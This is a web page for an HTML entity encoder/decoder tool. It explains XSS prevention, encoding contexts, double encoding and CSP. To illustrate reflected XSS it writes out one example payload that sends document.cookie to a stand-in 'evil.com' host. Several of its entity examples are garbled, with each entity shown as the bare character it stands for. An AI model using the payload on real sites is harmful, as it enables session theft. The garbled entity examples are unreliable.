What is HTML encoding?

HTML encoding converts special characters into HTML entities. For example, becomes >, and & becomes &. This prevents browsers from interpreting these characters as HTML markup.

Why do I need to encode HTML?

HTML encoding is essential for preventing XSS (Cross-Site Scripting) attacks, displaying code snippets on web pages, and ensuring special characters render correctly in HTML documents.

Yes. All encoding and decoding is performed entirely in your browser. Your data is never sent to any server.

What characters are encoded?

The encoder converts all special HTML characters including , &, double quotes, single quotes, and other characters that have special meaning in HTML.

Can I encode entire HTML documents?

Yes, you can paste entire HTML documents and encode them. This is useful when you want to display HTML source code on a web page.

HTML Encoder/Decoder Instantly

Convert special characters to HTML entities and back. All processing is done locally in your browser—your data never leaves your device.

Editor

Input

Output

About HTML Encoding

HTML encoding (also known as HTML escaping) is the process of replacing special characters with their corresponding HTML entities. This is crucial for web security and proper rendering of content in browsers.

Without proper encoding, special characters like <, >, and & can be interpreted as HTML markup, potentially leading to broken layouts or security vulnerabilities such as Cross-Site Scripting (XSS) attacks.

How it works

1. Paste Your Content

Paste your HTML or text with special characters into the input field.

Local Processing

2. Choose Mode

Select encode to convert characters to entities, or decode to convert entities back to characters.

Instant Conversion

3. Copy Results

Copy the encoded or decoded result with one click and use it in your project.

One-Click Copy

Common HTML Entities

Character	Entity Name	Entity Number	Description
<	<	<	Less than
>	>	>	Greater than
&	&	&	Ampersand
"	"	"	Double quote
'	'	'	Single quote

Use Cases

XSS Prevention

Encode user-generated content before displaying it in HTML to prevent Cross-Site Scripting attacks.

Displaying Code Snippets

Show HTML source code on web pages by encoding the markup so browsers display it as text.

Email Templates

Properly encode special characters in email HTML templates to ensure correct rendering across email clients.

XML/HTML Data

Encode data values that will be embedded in XML or HTML attributes to maintain valid document structure.

What Is HTML Entity Encoding?

HTML entity encoding replaces characters that have special meaning in HTML with safe escape sequences called entities. The five most critical characters are: < becomes <, > becomes >, & becomes &, " becomes ", and ' becomes ' or '. Without encoding, a browser interprets these characters as markup instructions rather than displayable text. If your page tries to show the literal string <script> without encoding, the browser sees an opening script tag and tries to execute whatever follows. Entity encoding tells the browser to display the characters as-is instead of parsing them as HTML structure.

There are three forms of HTML entities. Named entities use a human-readable label — & for ampersand, < for less-than, © for the copyright symbol. The HTML5 spec defines 2,231 named entities covering mathematical symbols, currency signs, arrows, Greek letters, and much more. Decimal numeric entities use the format < where 60 is the Unicode code point in base 10. Hexadecimal numeric entities use < where 3C is the same code point in base 16. All three forms are valid in HTML5. Named entities are easier to read in source code; numeric entities work for any Unicode character, including obscure ones without named equivalents.

Entity encoding is one of the foundational defenses against Cross-Site Scripting — XSS. XSS attacks inject malicious HTML or JavaScript into a page by exploiting places where user-supplied data is inserted into the DOM without proper encoding. A search page that reflects the query string directly into the HTML — like <p>Results for: USER_INPUT</p> — is vulnerable if an attacker crafts a query containing <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Encoding that input turns every < and > into harmless entities, so the browser renders the text instead of executing the script. The OWASP Foundation ranks injection attacks as the number one web application security risk, and output encoding is the primary mitigation.

Key Features of This HTML Encoder

Bidirectional Encoding and Decoding — Encode raw text to HTML entities or decode entities back to plain text. This two-way operation is essential when you need to inspect encoded content — maybe you have received an API response with entities and want to see the actual characters, or you are debugging a template that double-encodes ampersands. The decoder handles named, decimal, and hexadecimal entities in a single pass.
Context-Aware Encoding Modes — HTML has multiple injection contexts, and each one requires different encoding rules. Text content inside HTML elements needs entity encoding for < > & " '. Attribute values inside double quotes need " encoding. URLs in href and src attributes need percent-encoding on top of entity encoding. JavaScript string contexts need Unicode escaping. The tool offers mode selection so you can apply the right encoding for your specific context, following OWASP encoding guidelines.
Full Unicode Support — Characters outside the ASCII range — accented letters, CJK characters, emoji — are encoded as numeric entities using their Unicode code points. The character e with acute accent becomes é or é. The tool handles multi-byte UTF-8 sequences correctly, including characters in the supplementary planes above U+FFFF that are represented as surrogate pairs in JavaScript's internal UTF-16 encoding. You will not get garbled output from emoji or rare scripts.
Selective Character Encoding — Sometimes you want to encode only the dangerous characters — < > & " ' — and leave everything else untouched. Other times you want to encode all non-ASCII characters for maximum compatibility with systems that might mishandle UTF-8. The tool lets you choose between minimal encoding (security-critical characters only) and full encoding (every non-ASCII character). Minimal keeps your HTML readable; full maximizes portability.
Batch Processing for Multiple Strings — If you have a list of strings that need encoding — say, a CSV of product descriptions being inserted into an HTML template — you can process them all at once. Paste multiple lines and each one is encoded independently. This saves time compared to encoding one string, copying the result, going back, encoding the next, and repeating fifty times.
Real-Time Preview with Rendered Output — See both the encoded source code and how a browser would render it, side by side. This dual view catches double-encoding immediately. If your preview shows &amp; instead of &, you have encoded the same string twice — a common bug in template engines where encoding is applied at multiple layers without coordination.

How to Encode and Decode HTML Entities

1
Paste Your Input Text
Enter the raw text you want to encode, or paste the entity-encoded string you want to decode. For encoding, this might be user-generated content destined for an HTML page — a comment, a username, a product review. For decoding, it might be HTML source you copied from a page where you want to see the actual characters behind the entities. The tool auto-detects whether your input contains entities and suggests the appropriate direction.
2
Select the Encoding Context
Choose where this text will appear in your HTML. If it goes inside an element as text content — between tags like <p> and </p> — use the HTML body context. If it goes inside an attribute value — like title="YOUR TEXT" — use the attribute context, which additionally encodes quotes. If the text will appear inside a JavaScript string embedded in HTML — an onclick handler or an inline script — use the JavaScript context, which applies Unicode escaping. Getting the context wrong leaves gaps in your XSS defense.
3
Choose Named vs Numeric Entities
Named entities like & and < are more readable when editing HTML by hand. Numeric entities like & and < are more predictable across parsers and work for every Unicode character, not just the subset with named equivalents. If you are generating HTML that will be processed by XML parsers — XHTML or RSS feeds — stick with the five entities defined in XML: & < > " '. Other named HTML entities are not valid in XML and will cause parse errors.
4
Review the Output
Check the encoded output in the source view and the rendered preview. Make sure no characters are double-encoded — &amp; in the source means the ampersand was encoded twice. In the rendered preview, the text should look exactly like your original input. If you see entity codes in the rendered preview, something has gone wrong with the encoding or the preview's rendering context. Also verify that all special characters are actually encoded — missing even one < in a user-controlled string creates an XSS vulnerability.
5
Copy and Integrate
Copy the encoded output and paste it into your HTML template, database, or API response. If you are using a template engine — Jinja2, Handlebars, Twig, Razor — check whether it auto-encodes output variables. Most modern template engines do. In that case, do not pre-encode, or you will get double encoding. Use raw output mode in the template only when you are intentionally inserting trusted HTML. The safe default is always to let the template engine handle encoding, and use this tool for one-off encoding needs or for verifying that your template engine is doing its job correctly.

Expert Tips for HTML Encoding

Understand the difference between innerHTML and textContent in JavaScript. When you set element.innerHTML = userInput, the browser parses userInput as HTML — any tags in it become real DOM elements, which is an XSS vector. When you set element.textContent = userInput, the browser treats the entire string as plain text and automatically escapes it for display. textContent is the safe default for inserting user-supplied data. Use innerHTML only when you have already sanitized the HTML through a library like DOMPurify, which strips dangerous tags and attributes while preserving safe formatting. Never pass raw user input to innerHTML, even if you think it has been validated on the server — client-side defense in depth matters.

Double encoding is one of the most common bugs in web applications. It happens when encoding is applied at two different layers — once in your application code and again by the template engine. The string Tom & Jerry first becomes Tom & Jerry from your code, then becomes Tom &amp; Jerry from the template engine. The user sees the literal text & instead of &. To fix this, pick exactly one encoding layer and stick with it. In most web frameworks, the template engine handles encoding automatically. If your framework auto-encodes, do not encode in your controller or model. If you are building raw HTML strings without a template engine — which you should avoid — encode once, at the point of output.

OWASP's XSS Prevention Cheat Sheet defines encoding rules for seven different contexts: HTML body, HTML attributes, JavaScript, CSS, URLs, HTML event handlers, and DOM manipulation. Each context has different dangerous characters and different encoding requirements. An ampersand is dangerous in HTML body context but harmless in a JavaScript string. A quote character is dangerous in an HTML attribute but harmless in HTML body text (unless it is inside an attribute). The most common mistake is applying HTML entity encoding everywhere and assuming it covers all contexts. It does not. A string safely encoded for HTML body context can still enable XSS when injected into an onclick attribute or a JavaScript variable assignment. Always match your encoding to the specific context.

When working with Content Security Policy headers alongside encoding, remember that CSP and encoding are complementary defenses — not alternatives. CSP restricts where scripts can load from and whether inline scripts execute. Encoding prevents injected content from being interpreted as scripts. A strong CSP like script-src 'self' blocks most injected scripts even if encoding fails, but encoding prevents the injection in the first place. Use both. Set a strict CSP header and encode all dynamic output. If you are migrating a legacy application to CSP, you will likely encounter inline event handlers and script tags that need to be refactored into external files. This is tedious but worth the security improvement.

Related Tools

URL Encoder

URLs inside HTML attributes like href and src need both URL encoding and HTML entity encoding. First, percent-encode the URL components (especially query parameter values containing special characters like & and =). Then, entity-encode the entire URL for safe insertion into the HTML attribute. Skipping the URL encoding step means browsers may misinterpret query separators or fragment identifiers.

HTML Minifier

After encoding all your dynamic content safely, minification strips unnecessary whitespace and comments from the final HTML to reduce file size. Minification runs after encoding because it operates on the complete HTML document. It preserves entity encoding — a good minifier does not decode entities or alter attribute values. This two-step process gives you both security and performance.

JSON Formatter

API responses often contain HTML-encoded strings — a product description stored as <b>Sale</b> in a JSON field. The JSON formatter helps you inspect the raw API response, and the HTML encoder/decoder lets you see the actual rendered text behind the entities. This workflow is common when debugging CMS-driven APIs where content editors create rich text that gets entity-encoded for JSON transport.

HTML encoding is one piece of a larger output-safety strategy. URL encoding handles the percent-encoding layer for links, minification optimizes the final document, and JSON formatting helps you inspect data that contains encoded HTML. Each tool addresses a different stage of the pipeline from raw data to rendered web page, and using them together ensures both security and efficiency across your application.